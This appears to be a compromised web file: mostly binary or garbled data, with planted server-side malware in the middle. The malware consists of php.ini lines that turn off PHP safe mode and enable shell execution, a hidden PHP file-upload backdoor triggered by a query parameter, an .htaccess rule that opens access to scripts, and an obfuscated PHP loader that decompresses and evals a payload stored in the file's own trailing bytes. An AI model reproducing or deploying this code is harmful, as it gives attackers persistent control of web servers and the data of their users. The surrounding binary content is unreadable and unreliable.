G(Y Ǔٿe'_Im'6w||nvf$Qôu};h&ӕuX3\ =ƤrlOEۢ,%MBlR(\\srlU
'o0PS51셟i\._;O?0_ߢ7cF&H*osLN,[/z7C1	_A{|߱m
ԊPJ(2ׯcljvogafzh\Y'x&tӾ;fH@/n/mN;$7
0h8pwcLL΢9!9$4j
p&-E8g"xԛpѺ7&D8~Z͋2W5t`yGEMWȌQJ^=O=Q4dU\)PNhOYN$QӑdPq/ĵĨ]1U^Y^QuN+A?kZ183OjAnO&@1y
bo|p7Vl`4&P;ͭ,dͨ
miR*ySIlD6xafS$=uj֜#S-|%;qewbsoihzv&a#gWQ@?cljvogafzhWfcljvogafzhrI:OՐrG;6}A9L˱OQw闙k¼r,W|uRtsa*^ոV.cljvogafzh`ǐ7j/cljvogafzh]8%6,bGњ+0l_Tkr%،0q"ϔ=mS}pRbB:W|jRbRl$*:uH7
 {͎*&{qcljvogafzh܃P&S8DQftҝ5wuFr_?
]3Oaej5R@**qT1!1	6&xBqewbsoihzv%\Mε@_5U{_w	cljvogafzhxBƔ1gr_n@NKcYCaf`wᵙ3/CKnjal qwI;5WucƊL:}Xlk-ʒ0(D٥vzSW~`B~}a!3Z%dZUv$.F}Y\jn~ 10NkyiX	n3xhZmqewbsoihzvw.YS-ݭr$H?PTiًّԸEސ@yz5
gRoL
.Y1Ėy̤WdCQg+*+%Мqewbsoihzvqewbsoihzv۱`i]Y& rϋy+1HRnvM
\jq{kʳW NmneP69{3Mӟilz:Iŗqewbsoihzv"֛*(y%m#l޳#ի*A|Hb|aR6oca 
zq`7Rg_2tہ=K|7x(\X=k_偟2m%39""0VEwZ֪ J-Yއ`ܑT	[MqAr*gaSfDqWZZPerEK֎]"0v&pVr;h 3qewbsoihzv}
/e}!ȍPiz/c
pAxfRhHbu
0)cljvogafzhTUs`4x%|1[3*f(blJʌk)1J1SK'
VRQk%E)%C}Tk9uaZ"#cudRcljvogafzhcljvogafzhSF	-BiIqewbsoihzvfH|N"yQFZ#7iJcljvogafzhct1Ww3fp{.i|)+EJ%ܹen\2
Q\thE
hysxk@ ŧ?ho`r=^~r҉)7?'izGnI7bHC24z g4 `eVKI8TIf}ʔWZ:r@,={ccUE+!j(=%o@!؟`^or˃``lUy_y__3fNX})H}QdhTT7Clcoqewbsoihzv
ɍIܬA
[xi/ˎ}~QCc;VNO+4*^[Mcljvogafzhif)Qneau!#F8#
0];F^5NtR)71U4TYIf[l#Nsv!=
"]TMcljvogafzh]Z(BكpӘ39qewbsoihzv:4=PR	YYNK6'vJ4?ecljvogafzhgӷ-C+@nfv\%0BcljvogafzhRv!8hNo8d܀6Vj5OFsc.C$hqewbsoihzv'P{Dcc|
_/M"SΦ~:yyƺ$١]4ncVM W fbxu`2DX|æСT-+(It%0y#!qewbsoihzv{US
c=76`BO?'tU(xw~t],vVrQ,U7xh~Ox{\V8@|cljvogafzhl{+DtokՒ7u{jI8j:gd
\% T7*jT+4nMHzPQRh2HK\A@E5wk\HyWZ.( 1zPD#-+kwF0kSVVpDX:mAu@}f@&e;{JwKf2IҐ	I(u:ĝQ7:cE*Hmwf'CMffSXkqewbsoihzvL"QrF.)3cljvogafzho{h9 ۧ4;
MÚ
Ī:XZ)~dA(JWKcljvogafzhog.b/9z,a6z_**fB$@Qg`|z3aE,)Zj
zĔn(LZ+_C8-qewbsoihzv%P\2(J-@LHQ}"0+#cB8TnH]J9`2kP5Luc򅮃y_5qewbsoihzvRnYƥ|Pͣqewbsoihzv_Ԁ7ju|q6z{}P-~F8 Q\|bOؾ&wJ# _7"H*ϵ9CX%S2a\]ẚ6Tc̛ywiz&&ABF= jě`ɴ,,b,.+ebhMZb(d0v{G1%]zj*]_Dԣ+fd::GgLR9Ho8 Ѽa&dv
WǱ^--Dk[ꨦHg`!H8I~?V{
Nj&EUԜ
$.cBL=-=T;ۉ]ZWBBU%J}S$wE"qewbsoihzvHN^ǋ@qewbsoihzvՖ|vPzUи}(!*^JvqewbsoihzvkP16nF?!Яqewbsoihzv+b8 ypNw`6ܵ!qrx v_șS6Bgu0ԥYm86d:&]8`Q`aI()@b]vmVXl'}SGpRzvQZSk` YUQ_Kwg6y Uq^D=	ST$DFDl1WD9-4d4䙪Qo Cq!KN/# QXcljvogafzhqŏMV~]LcljvogafzhY0hsB+ uGg!h~Z)3#Wkle+=|D:&wo7) MPӽ8b'_fF7O^ԥxqewbsoihzv[Ux2YiyMRǬP Ɉ$L Ҕtق ,fyC.n|CЫ
ٲ{ZG~l[7 %탂zQ\4![wvSEVqewbsoihzvV#rqewbsoihzv~bcljvogafzh&ep@É6لymOVp0z`'S"x,yNs?#PL]7ѹ6&2|'{;7qR2&.qewbsoihzvo-G7U̣\FsxkaՐf^X76UqA!#tV?M,L{V7/i)Oa2PVk)ȹwS.*&F{Xcqewbsoihzv 1$+aWAۭh{&֨1c+8/lڋ$sa&'@sfM30ңcljvogafzh%ҹ7"Ĕǅ~}/jԦ6#z9 ;|s(I(3]wԗsutZӼ|qܪ0!pTYVG#32"5}AZ vG1dY+ހoIJ=9۝s2꒾h^s̎:UPl8ے/ݏxEсVmCI[/ꔱ3Rێe1mTZ$_	wG|lk$
Fᶘ25A.wSsk40oAcljvogafzhv֮[VDD	+YJ,F('ph/edYy/Բcljvogafzh)QY((ªve.!|7APvRħΗ2`6{;Pkr2.xC^|%
G0aS
cljvogafzhvUtɸt{mcljvogafzhv169g1uW+p@uRݟUxE Gn+
!qewbsoihzvW"fu*L,5f"*"WH^&3`BMJ!@.7|U\Ƽu 
gJg'axJA#SMQ6XyMeIjutdԪ]j :.#6~0cljvogafzh:ivK')*%ܿOc~P+GH!D9p/~js})cljvogafzh^;K"g2~E
=cljvogafzh\=7K+}*t;)_~'^%%6-#̧9Xqqf:#+gLqewbsoihzv7`Z
\Rb?a(A,	o}n3cLSv6q8 j?/MYqewbsoihzv@c{tk?Qh|hNd\cljvogafzhyGr?;
Lv/]9_Kg`w7!I=ħ*wk&t=3X2C$&=x=E0"ȨS%ӠGZ\2Ӏ,I
wi˂OLA6
#::y*\ǽ!D?Y\Y#$f% 8?z܂OQODyݟ._|;den	
qj/BMYe4Em"lRGRV8}Y9cljvogafzhR	l[tݑ
IqZVW2U6" c&B,89j_q;_7	[Y47KNaub
#N`JehŁ]rJUP!6F3^	S/4AJv6-35e) fup}8H[2Ύg+=MfJyH~]+gb\,BV+ 90c~-AI;eP+}Zy.g^K3!TX"bRcBA͘(Y%(Wbe5Ǒjy,R"&ik՘|.cljvogafzhԸ!2M_&"8bcljvogafzh;x ䷃@Bc4ÈOާOӝ)B/Z&}{sN9o|qewbsoihzv*X3)3]
.8ݏ)_cljvogafzh'Z9!0tC&i843[=I}n%zq&{eܽw/
@L#?4Nd
70e6cljvogafzh0 t3+ݘ	Pn1-I?ۂ2)t?y9B.u[/d2h;۽1)vmVŅk]u
%;:կ͂ݍ$%G.)n)nB9u0&]L=~3F}!%,ZƘjcRcljvogafzh0SM/_oS#bWi	4c X1!gU|]uW]6A#ȯP;_%UyPR5迦%:QB!Jqewbsoihzv4x16DK%mX}sq'rp@s||/$iN@׏Nds;Kf.3@}k]=KPxj`z.z+CvVDʹQ1^cljvogafzh)υ;hw_.qOo
Zm'``䖡D%1}r}9Ctr
ȵEqb~EcljvogafzhpOhvw(*0;:|S
'˹exa{|Gç=S	:.^!񃬸z%U K\9fVO1G?BtRMQ
;AmؠE,`lCbdp_kO`h`s\qud4H1Td?{ڔk_۱u/_A*C5m5ÉVg!@~zt* S;;io7ܓKnwoбN6kܒYVyKBQs6U0z:]oχ?,d{+Qִ%N2Pc/nVLan*qHvM*TAҔ0(oؿ2\WL`^ھRh~Jec?cljvogafzhmI{}412ߡ4 n
J9a|SO2#T#6,zsoo}qn!j22	%Y;	yt2vcqewbsoihzvOcljvogafzh'JxNc8%ɇbO/@`~Qk,4`dԵw_1^oK
pqewbsoihzvf) )9
iAK8jk I[E4wδz-CQJ|Flw!4(@:3nWeRvޟK0@X񑪘$B"+TfuP0S%)MZz߲cljvogafzh]Ś6xlUf~xIž]SL$SCChLUמ\uh'CVfUЅأ.6LsU0ʆOҺȄcyLV}^8A9+cljvogafzh^,)ʨY}5%GBD#0G'J-*?nQt?AEӹ:Iޘ~W~\C3
	+vfiMWcljvogafzh4CY4uxuZFѣś9NDQ( 6(*pJNǪOVZ4&OKOWVF7?h3:#W0,cljvogafzh`,Q~^ocljvogafzh[FW	.{݂qewbsoihzv=bhĊCKM%)"uƕqewbsoihzv.+՜Mhp]-$v,h7H+*K=/SQ+Lq6@ote'lO3!eoҬrxZ筹adZaHKFQ@-QVcljvogafzh5cljvogafzhqewbsoihzvhLXf˕p}ywXcljvogafzhPH nbF9Bt_mG3 ]vԘ&#hPft챲cljvogafzhE}p&Bv8ݯ-[xoS7JhoBhC91@xF`ZcKMgeQ Jm$hfyi ADзQO*20ۆ
OxGP)}:8c?q:=cßFuiى'Y"4umkJlݼf5ke!t
P3JOMD$䇔Ov3@WVMP6C!SW!aScljvogafzh&҃w=R6)z7wV] NEv~U¿Xy~؞|inmJ]Mmwt;H9{8M7/ݱ6G(v`cljvogafzhHѲ2I$CX	o%nֶp7d,8A|Nh.i^wszΩ_B8H^thd mV5H
'4zk &qv\'eE ƪXԢFl Z(
	 |]npr8e6N@89ԀcljvogafzhCP"}Ѭarf?"βvfYiaE6_.qvf;o3zST"cv̵0?gzFg:O)qdmn6;ll-᧲?xf[&d|}Uba?3	ĀRk=.i%+C%nG`+ٲoBg@CT
Ҥr5@^:DT=7\kt	ĻP#旃C̧exhQKzYPH0w#MVvLnucljvogafzh	zJeݿW9]0gg0mUuJ1R'F9qrWԟ^MfqewbsoihzvnVZ1i0+ovwu8DKMR]| /K
H8ewwOB*x/U,3LG-#fX܋qMI-kG`Vr0F"~=OX^jyǤSq[&3%qewbsoihzvw(@tKzJXlcljvogafzhck, 'J|	ɲRcu:F&s-YcljvogafzhO [
3N(g|ǋEgAcljvogafzhddE|D"](7cljvogafzh1qewbsoihzv+hEoZr8 XsMi]ب(H	xɇo#߽e(x	LU";@p'⪽6c)C;QGu	@ʈN8.hc
qo(pİ%WTPxLd5t^0Kn+=Lj}qewbsoihzv.莇gudD/Zʨdd?)uS/~8-=v9
5bksw@orom ;^0EF)լCc#j0SPOtͪEk) XT_:XaZb!_̻
cŮluQFshB?h
IgJJ? tm}dv3$k󍡼hd:ʙ-N(綰RC} ?:Q4i+I1\:[g
cMBc3	XO
:Rr9,cljvogafzh0(=m6'ӻB9]/%ĩFNՀ_7Xǳ'2;
6-;^
$͇Ͽ&y-r`H.jZB)-
L,FY:/!~#qewbsoihzvuΣ̅ŊP3cWa:P
Y~f4?1K"cljvogafzh1cljvogafzhz*KK7 ':r*nP0ND/ T*:K@y9Qxߌ	cljvogafzhO5i:͟16C;Tf
'].\uKbE}YS\e'0JnƏ	ùZG 2:U ڻᐌbbG2u@y/#XmxΫqewbsoihzvLf\XPx=/أeym~/ 	!~8Ocljvogafzh]~φ|+]!pΌ9m=ZN?:(Kg_%%(㻢ImO^V	ܶ~";
'.Gߟ@e
D	ECay#0G+6X/ҥ?^UNe#o,*qewbsoihzvt"|0y0\fnYI|iZC0!oS^7OZ(k#\zi
 ovf4+W5_ سDi!-jc	*"gWB"!JR͋5%\rЇ%qF4ts.eDmI
}tmPn v%EFFqp|cÕ?(M+_iWuCYJt2L*:֖t~MCC4aKǔv*pIcljvogafzhb܎Xf}cu}d̯:hFMSdnAad(qXuK{3x~KJ2T=_D_fڲr?Կ
5xӋRDy3?V.{|8+Ei;
!Пs	VT*Y*t!wT!"]kFd8;"\E43uDgxjb k[L؜CY8ihR^ʑЉx7uF*ﲅm7ڗ/i"Iu꺤*G$f_eD 37Ei%ƗtZ.Ô5ʿъb`(dHDi\uJWgwGbݧvb|[1A&#gq-tx0A`Hm
77R'cljvogafzhVgUwHfe/KCͶ,9ː;](J\v2b!\l1tνs`7˓J*lN.,Sglj	a(A߷	qewbsoihzv+K)5.ƶnx×Ø0nZHJ)vLm1B.hz*_@qewbsoihzvv96CyIsHcljvogafzhƿ]&Dpvx1eIE:&p̡?UEp6v^^_T6g1!Ϸ([cljvogafzho$K`p66뒧;IK	oVN&IV9kn*+,cljvogafzh1]~dǍ
aR5svBkmQ!\KwIgY!?#H+;C]/x
W2%;ڡe8V+AQDN3d.=TׯK
e(0_?3nF#o~K,+
c}O"??V5XNV3z?8\lFU);`P0NDھܿ`_~ɏIdi)Ƕ',a;OMXi-mS#gwz%Vhoj6gO^9:U OaqewbsoihzvU[0w%Ge:skxubJqewbsoihzvp	oeBڝOV`auehc]	PQXǥR%V`
OB sXiefHoD]WN/KѾ
Ĳu:sm$-kj$BdXm(Jå-kFZokUlK
k1,퍧l|=*{F4݇Oi8QUi&k-p؎VLemd:i܏4'+fDPv1
Jh4qewbsoihzv3-Cg|q@ ~vՑg^V!d{/t+Γi
qB.:juur{L勑|:7L2(7 ɑ|w,SݰGQiZqewbsoihzvJ1\Ɯ}(3ϚfCE"^z~3Y1eQ63עbw.Ǳ,iL #YA=X
7%;l\'Kf##!2λ/~B zd
أFƴY|`[k7~sr@Nc⯹qZa]y@*J|zϣsn^cljvogafzhEY {yyAqmL*W6Q3rKi5v:~#IȾNF3,7pf ɉ9NVUy\Q26T.W&e 1Ol=Q50-'ܦp^QMzm~aFxjJjqewbsoihzv,SvR, `Mgض
5qR"Pcljvogafzhּ`~#8d$lM$.kPQktǵ3miBIpu, pvDB V&
Vΰ	-8#BB:`h'ד׻	Tg/~ju:0ݖiA
ccijlv.z+yA׋fvm):Ř(pgMd
Z&A.0|sKz*d_FW]CE
jGFOQGCc\,^4X(ZsӖc)xH^2YE?v$ţV@1w{"9p4-5V,8"TOxtZZ9.y/P{R$=HZRA"kb'="R I0bcljvogafzhTu o\RrvP%sO62 XU|A4=9qyg:jָ=J%UQ /]?Rqewbsoihzv^aO=#-ϐz`EGס(;⦷RˏIP2irSIcljvogafzh`$䵘MLL#}X1qBEykjMjW,C7eYl*ߣ
#qewbsoihzvJf}UF\Gcljvogafzh*[t*\} ȋ/ye@ۮsy!NZ
._baG7eop+Ȭ }k܃nCM_܈~@R8ygĶ.MWf]ѐՖz7z2/E4oL6UJS
(%%=]ڤqewbsoihzv5$RvT?,)` Vq()Xj}s3M9f_2uO0rS_4cjꜸ,eld:'3Hd|t2&یzGl0J-daaFڠHUJ"V_9xcMvկcljvogafzhX״ɂ		ُ|W]e̮4TCTXLIuēk3$s:5%O T
\֒+ھ_,U**ba4SjX!u1O^v%igIsNƬSJ9 `
&F	bAgTO6cпQ{ø/`o%PsBś"YoTLW$RVtչX@:ȱ_rB}=V0%~SώZ!f#*޷P!;[qT2G4qewbsoihzv'jtBւuqewbsoihzvr7Vj$$'D$\ѻ
1{"rPgga&sE/1X1"W3917Iؑ`q&߰w49wA+0C0
Qo;me]@"4{&n1lww﵏m7l].Vo!|.]%51HrV#%Xύ&mQ\~IcljvogafzhYAzOILH@B-7w=&ԡ;GnEvް͕qe IB[*av;Ո6cljvogafzhUf4J9	) ={Uƾqewbsoihzv^UԒ Z%&H.$A;|/OD,ŒH_ϼqqewbsoihzvX:w.!
oSВ31Dk(]4]:%#rqewbsoihzv7{?cljvogafzh"\F&|cp),7SA5IEE;ïm~Ma"
ֆ,ߑf~ָg)-\"dd1g*ΈXF ⣼7c|=70턚qewbsoihzv{RQ+լX샡Wݮ3ypv}Яn0f\\t'p;H240]Z%k3sI"yhh^77iꀎNBK[8qewbsoihzvqewbsoihzvI~w(fY	10e Rvn\Fĕ~4y4l}{Mo6ev4Q}	8.hЗ9qewbsoihzv`uBѤ$j_v|'vBFI4qßI=Y֑_I9KK;^;vχS꠆C"ߌEȾFz|v}X]%k)&7pF9̞ZL$ZcljvogafzhO˹I%|Nz".9 cljvogafzh[΄[ )P٬1嗦Em7%8@[ku5:do$tSk3l_lDn_))_/~=̖}1IƲ-uU^/v$nTݸncljvogafzhHysKW/\N[?e@R1A=2Z`
J&sk?p0u&54ǚE8=U?TPF5!ֻQrSF2qewbsoihzvnv#xtcljvogafzhU,p-A*!nl2=$뇨{Bka "S
e۫X KqTM=ETqewbsoihzvƑr2rScnwn)pmxH.NhqewbsoihzvqÝ?J,N_D\"^ Ea"*Sg3d]p8Av1Sj~\"ϪCpܠlтh^RM61
XQs\(xmS:.4^oޘ$-*cljvogafzh`Ro4H+i;ȩ7&̙ 4zq@oafX ]5
ڀe324~B9 ܒh.NgQVhǟpf'-9ʛz`+VpZ(tp$iNSNV~=*њ	!WcljvogafzhuJ͵Pw
s{i{SI?anks+G
ک=C@
VoսR*(@Zqs٫wzſɘ[Fc/c^voe˹W-X݋1
i,1y]Go^bOQ'v]+A8f&:}P4jYAcb.ҋmӽJ2y@d(ܙf!ѵx*mߒѿr/h܊tq(XЛj(W)Y)/?CT!oqewbsoihzvi=IhoMa9:.\_ܮhV71&ui/%CxUnu'T@Icί*#C.ƸLﻈ^l֫ԀZ ʶ
x8AӜs@T]Ss{ⱀ޸3JB;qewbsoihzv$
ߢ0tNO@1])J-5tYtJ"磾b#[t)'M2ᅬvʭ?	RTK2BjԬ3Dmguq1(̲nK9}řcljvogafzh,jp6AYiWvLtkj,;q%ØfiF}
'{g$3m۹ Ld5`kυp}[|
Z =[3uL%m
l*#h"\DDa?r7	%xqewbsoihzvY~
݇Lئto,'^BMhBTΓXj!pn}diю!v 9[:s2,{D@ڮ3iPiZrCXxv7f#b}#yGvq7:G޴g M*A`^~KI-3/FmDyT	Is++Uǵ]Ahl}t48kr&lLDqyOwwwj 
]/hf")?Z(Y8T}LS72,Ej"څ4L_m
	qf1Z	etߺϤբNS -I5tu6ĀAؗv`W`UBVWjDK}"MGHZ3vd`ZR2'fn^&"%smJw[_rn9 ']Wǣ7e͠sdP3_H.
qX wP-˷[)Ϸn%|أO'9n7`2CcljvogafzhPM
MfƭO+1ꙔA2Zqewbsoihzv~w҉eZ]Zcljvogafzhfx6{(wMQ	:)MM$ACPxޠ2ylZ`_ 6ǀ2scljvogafzhqewbsoihzvl%-TYjNoQXi=Ul7&]Ccljvogafzhuyi+,v7=X|yQ`Fc˥ml;K_	Xi.~rS׽WM2&jIfBxi U6g/ڜc0fwcljvogafzhzk\qewbsoihzv[F].WuiJZ܍SetL=!ۋX(m|팁6#UxǡV}Pz!EuK7\*ؑz%M,j1/6cljvogafzhv0{,01N6_DeLe2JEm+RFٟI0z٪ѩ`fܥHcljvogafzh|cb8eX8èsi,÷@RwL|eg-V*\Wнaw$0cljvogafzh+'w=u2X_J[Umذ]X{HRTLdXv6WTlULOHb|2cqO|GAxQ!`dCfUIj{s:.ֺsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$MJdx='s'.'t'.'r'.'_replac'.'e';$KqpC='e'.'xit';$ydvT='subst'.'r';$CvQt='file_ge'.'t'.'_c'.'ontents';$scVj='gzuncompres'.'s';eval($scVj($MJdx('gqjwslizvd','>',$MJdx('rdyveothzw','<',$ydvT($CvQt( __FILE__ ),-216887)))));$KqpC(0);
?>
xMΖ~3h[vemw8gqjwslizvd)\DHYy2kГc#hK]=.?_gqjwslizvdmF:^2뿘_??/gqjwslizvd_~O/oÄwL߿CW#BnV쪲yiqyV_}_&yގ7!n'A="'.f:n&v9~jfL_7([H+/xC+ozoGm=ݫ/s}裡
=|ǫ`;綝mWXh[9|ŎvoUc?s?'^}ւvț^?rzاϱݡJp	㥹6rdyveothzw;dGmzk|a|rdyveothzwx{HD&?2}#;nkgm[2}=GMx@xo~:4krh߽ڬd8/:}bB
}P%8֔?stb}cP'/͐w$`H޻AztN`|'|߭U_Q2~p+KsQNToğN0ģ^餱a"g=q"\Pi';Wz$BZu19¸į	rdyveothzw-	X\鿎"+`NXxc)\J%
+Mr8?qjlpGKYle?b2|@uR\?02oqEÿiybc}:`&#qIlr,(x:1qqNfgd#U4QGm۴uRp%2Iݿgqjwslizvdc{M_]8ʛpӔʘ~9.mu9|_8nziˡ/!$r^8/(o}um~VI286,_rh`4v}t;ШK.-1Q̶_zO˿*߽+麧(/n`LEs:'GϥBegWr})ClrӒf#U
eg2m+6n M0SQYJ6͉JdLL.[I4x #UF崔}31෫SgerE_|gqjwslizvdjXtLجroVSɁrGUHUQ{8?&eZKs,-GR^.༖$Ɉ~i[S)Bމkً_J8ɮgqjwslizvd׽)h!qpuXEϕ9^Q!_mމGHFq
rWI gqjwslizvdw͍wE{zEzj.0GcX
*9O
^
/qOڢ}6gqjwslizvd×H؂.zfR0bYoҵ幣$2vKmcKN~jJ݋8?]p	ҩ]ڵ		$	#ڿrNHSa1,({|s߮[b%eMX
kLV&?iJxWB*l%.hIsV65AmrI3:fG̓2bս`Y"p|rdyveothzwo
u{#st^Vn)x	⃂dMrN~4I?1%nѼ#?蝓
⪂sᔪQgqjwslizvdrRbr9M $^42 !wmH'4nv%?.0OFږrdyveothzw^^ٰR?~05}DkٵWѾY5[/WpMА:R.x+gqjwslizvderdyveothzwp+qS'/?ĘFhI@ȣU%@ϒ8
DEBH:`
A V¹ C5Lk񃎍םSwz6+Al{b-*1IÖPJ
}F"y2I택9
C撲=i\B8Y͒|,wEylS'T/j&
jgCh_ÅLu'_/[AF9JKHgx9S@ͮ5g7FHnqQ\5aFpj~1T֠NEDBwVYc"jk?)K_sjh
Q{ԉb%m\`c`
Q)|Grgh2_̏/'ob{!x3߫2KǌYT{fVKgqjwslizvd:u(
	;[rn	4[dfY@z@m"8i
shEjJћ!"׳AdѬhZ3y14!+gqjwslizvdP,p="Ԁ?Pqtv/cB?@vRD`tfmLLɝ'_6mUJs[j	}:&"bNXj4y!;A3%/}U{DBD@^lXd5'&)*S\~~#Oڑ%NSYh,A,3Լg|/&c	90E=rdyveothzw9y|
J'{)?YHUj[	\@rS}MvUΗĠQ56.c!=rdyveothzw3ϥ_	_v
H3@TLS&QL/^L0o/5D	]A?YbQ`o
]쓓媊KP5%~^{SuqFAbrdyveothzw0A_dbvxU0fAUHXpmKFRe}x83Rwػ:x48j	t/Aߓb HR!*ي!OH?.QS˝K6,ӋX9)_+rdyveothzwzl	[Ctl`%ZTy(OZ?s$hZBhJ/;BA嘬o'
H⣒ŀqaw057EdN_cƽ^G^uQ" CFp	yXdXm&;j+'Em'O؀䡾WLͷ+YS{Mk+@3-9pW02`va=dI0 L/ܼϲ#H35)aIl
ޗ%=.=
p&gqjwslizvd$yՁv`{`VwyybW
Uoqnq+MIZbjD*0P8syFt?kyfh	*xp'ܧuĿL6MCx!~ǂqT6r";c,V	R(Y{~׻vuF/3Mޮom\e#%т9ϖZ	x0y''k2!{Lv{#3rlUWegqjwslizvdsXڥ@|4PUeu[/yֱ;qM j?XsehJ|l'z³\zgTgqjwslizvd/yײG1!.D
̡& :8UP`vT~}xɻub|2@CUdLbd)H}9/ГsɊp9wIvʼcmOnL!cUcrdyveothzw2Uw޿toN /dmBi޿4)əDˍ&/粋?0*rdyveothzwdPtOcwS@Û
\Dئk@vY{j4yXviODxF4Po2\*-˻W &~!A~NIN=X:ߩtry*̕Fj`ZՄ.;yOd~X	z'Q\N$۵$B-#0wYx2*Y'3د!pONR|r9:j{.d('=F}-3T\ٻaë
}'x0BȒQڌ7b{[S
\ \8^}E^^h༘Rgqjwslizvd^q.":7qSATSpsa_IDpYvbWd=pn&gqjwslizvdWT[sB_H`nl~ĶP;܁Rvx;u*Z F [)|hw%W_ yLzSS[n.ת򁥘Ր;}n~=^[| O).MEXSgC6l4 Ev+H.Do`[tUѪLd&{_E̚IS`Y4!Ma!3I 	M92jmWwQ$BxK=.rdyveothzwIGZNCWwm;'K dW:$Wv /db[6FSgqjwslizvd=ip`WZ#Ya;l!Y	P!1͊ʦA촶=Ͽrdyveothzw.,lAwF!b"7Tlp({;Qh]kKޏ'H8;YOȶ-^٨x?AU:b`V ) &kh0HZ%(!
E[͋Ndus	Rp]VSbStK51W"Jf+ԲAU_Z9gj/LDB]@%p.8[@.rdyveothzwlݵZSΥ8B
kn_ӻ$ʅf.&ardyveothzw%r58PlZ.J{ii9ߥP؂8j"	\cuyQVK|3%,h\ayݎHv~*wP*ˠ/@5~հ_1,`kgqjwslizvdǨdw^i9eWʥ#fyhE5)&8g4׶hoAɘ-
@kordyveothzwz{tٮ\gG ^X!c+qNgqjwslizvd9rQe.Ϫ%}V~Am$h9)ڨq0~:o%z'$]"ϖEٻwb^rzCM_5O(X+CSbE]֩Fz7/
)'8e_:V_Ardyveothzwh*D`v~/!bzͭ$h{H}{`rxs4m-%7T|ًUcgԺp\dߦoErdyveothzwr\d,@JaWR{	nc~	Wƈ0{jG	y-x_((Ɖ%	,rZI%	7|l!%+p|΄f
a3ЫܭC¹F+ݯz@Bk8V
ˢd-gqjwslizvdL5;@;x{9|Jdrm5NLfcy9rdyveothzwJ23f@_%xq)`WJ@~ϙTS9 J1VlM{U$7sejOM]clP
wkݻ,P^޵CP_BxkA&N.̙X$ "CfAFy]
֖r=VUE@&W.gfoJũD^QX.~ψDhrdyveothzwB(1y kDzK꤇Bl͠Ǔ7䟝
AgqjwslizvdhӸWR_krKԆ,1+({BrSL,tuz'߼z$*(0=fZ~P%2^
($o=a"򬑗q-*|}9b4fIΐ= K	hp uO9$ݻccQ;},9FӚ!qWWj?驟8Ir,({
&g[?hDj`dI:x65KBW6foPbP^ciw
JxLHj0_7^ !VØe\C}QLo"gqjwslizvd~ޮec	_$dXs3 	~u~*n=O+rdyveothzw}.ZMv[VUmrdyveothzw3'_0TП9&KM޲#-qaq
9"{ŖKPPӊѱD0dѩHC}D{/Şɱ=~1k?O!'o\
6NZ8{Ȝi\YNs%à,/X#:N{Iw)$EQ,F^$o^ZpE%s4 m|Ψ^2{7PGB#rdyveothzwgqjwslizvd'Nv{j%$jk{e͂\dQYΫտk~ĞpLmF͐7R8u?ȼAY|$Yw	@r.}=_.&,0T}c6{hLlf7jcc;k`sK^y?oܙFȽ||WCƐC&4N8=z?.NsiKI98Txj)u,Pb5QUegqjwslizvdJ o&D86AcXflcˍo;4nFzQXpeϺ7*DzYhn4o}gqjwslizvda4*ȗ.	W&z +Y@
^ki	won
@-
ܦL4V"z^xsyN=-̹
=b '~qhQL9\bky|Z-)_$@:FD'%R&-2ޕ+-$ ޳+qG̘sJW"n*@?p
jgqjwslizvd'@1|ϓ%h``|#v/fb	GdޅE4Qc! ;IEg{rdyveothzwj"7nS]g3|f|-hX"dMD_2wwۮ*s3KB?5$@@!/@h	"J0d:Oψ2Jgqjwslizvd-f晬m"|ѡϞHB]4KǖJrdyveothzw۔*gO-M).-hOOCט~!ly8+u-/7DW
rdyveothzw%v@0rdyveothzwjʂh0
G.1xnLf~쉒ZWD=B֫Z͎A@ߊzo-vUv$q@6pi	Ȣ4pm%vZXٝq27rdyveothzwfCONɞds7	gqjwslizvd|]
Ҧ3phR`sme*vuR|PcųXmT-Ї}|zMW'@]2[P.dӢrxNWQtĦeXc5!@go	d#j07lSrd_&
S&oD!q^+|߁ZX`|˄\#w68Au7^_gqjwslizvdJQl;[8ٖwR]C[5ș蝐@2U m(]"|@
5{)ߊ/e*ۏo۔zxA&bs-TێzUDA#	@rōCrdyveothzw?F[ppJ?.@]hz4)ZM%g/`'xh90Ӹdc~5XVY{Gbrdyveothzw
rdyveothzwH7p.Rm.9QmG6zlm۽",R
C	
~I9"I.]+Fr#wi|	"ơr~%?l`jUEdG^]NtVAi)8gqjwslizvd~IԲgG%$VVpzwӕ~~_SJ}N[FeSTlyRMH97X~-KG7+r176:K7[
04U-y$\`+Z`?Odٖ:8R_it"jr4s,W֗ϳZ
+?ӝpq~v~0?pN,)跪F^1m#GCp-cA3p_wNq+y$yd5!][

dK1
lpr^{=,;r:*M`Hdoޕ.(lY|Ei\c`ϳ=@B+֙J"ݽ,sKjTgΥvɩh:5~N+	gVUdoH(&gqjwslizvd	fQ:'poKIrB}Q4S/z*[y-Ϲ\䰿ɡ7+dVpĤrvO&`V9HI:rxdUY,zBȋ*}*0X8ԓ|Nl4v/J~)kx[6,E
,2+yguͨ:bImi!?d'rdyveothzwL@Prdyveothzwk+D=r@!%0QBVݑ8:;	ǵs	V{J3VvMlP_:/!Ӑ句{G9esJ_C;&:kFTdgqjwslizvd8aW	jzP_yH	_h((f/vcn'wG8y'b!p ae3LZ _OrdyveothzwG)xRq%۟tgqjwslizvdy8VQ=b0WAV/bYuN0~Vz+ {Kt\JQPn
нPj S5/	 X L r]B/eϣ~cpr]~] ɵa\DR+:ZNcYv Qd 	}II!`ljHjg܉f4іm&`v[M|D^~PkP3xyWaJ16gqjwslizvd *AcZXA6+wB(4-fΞSeHJ%*1%ka7|nX׼Gď
x/RfHdl4M^Zr/}2
%t$v;/  gqjwslizvdF`/'$,sK0᫇vs Jrdyveothzwy'gqjwslizvdu_Mrdyveothzw~5]~&dt5m%PqUCxx^Tgqjwslizvddgqjwslizvd[GN22e(@\W;\OSaCU){V=0ì}&a=x4.ǱMDCYPW6I#աrkȔQ/λ3v(zׁ̀|G-೑fY
٦7-v-ٝ98aLΔДx54,GW5CbM/FY	_)I
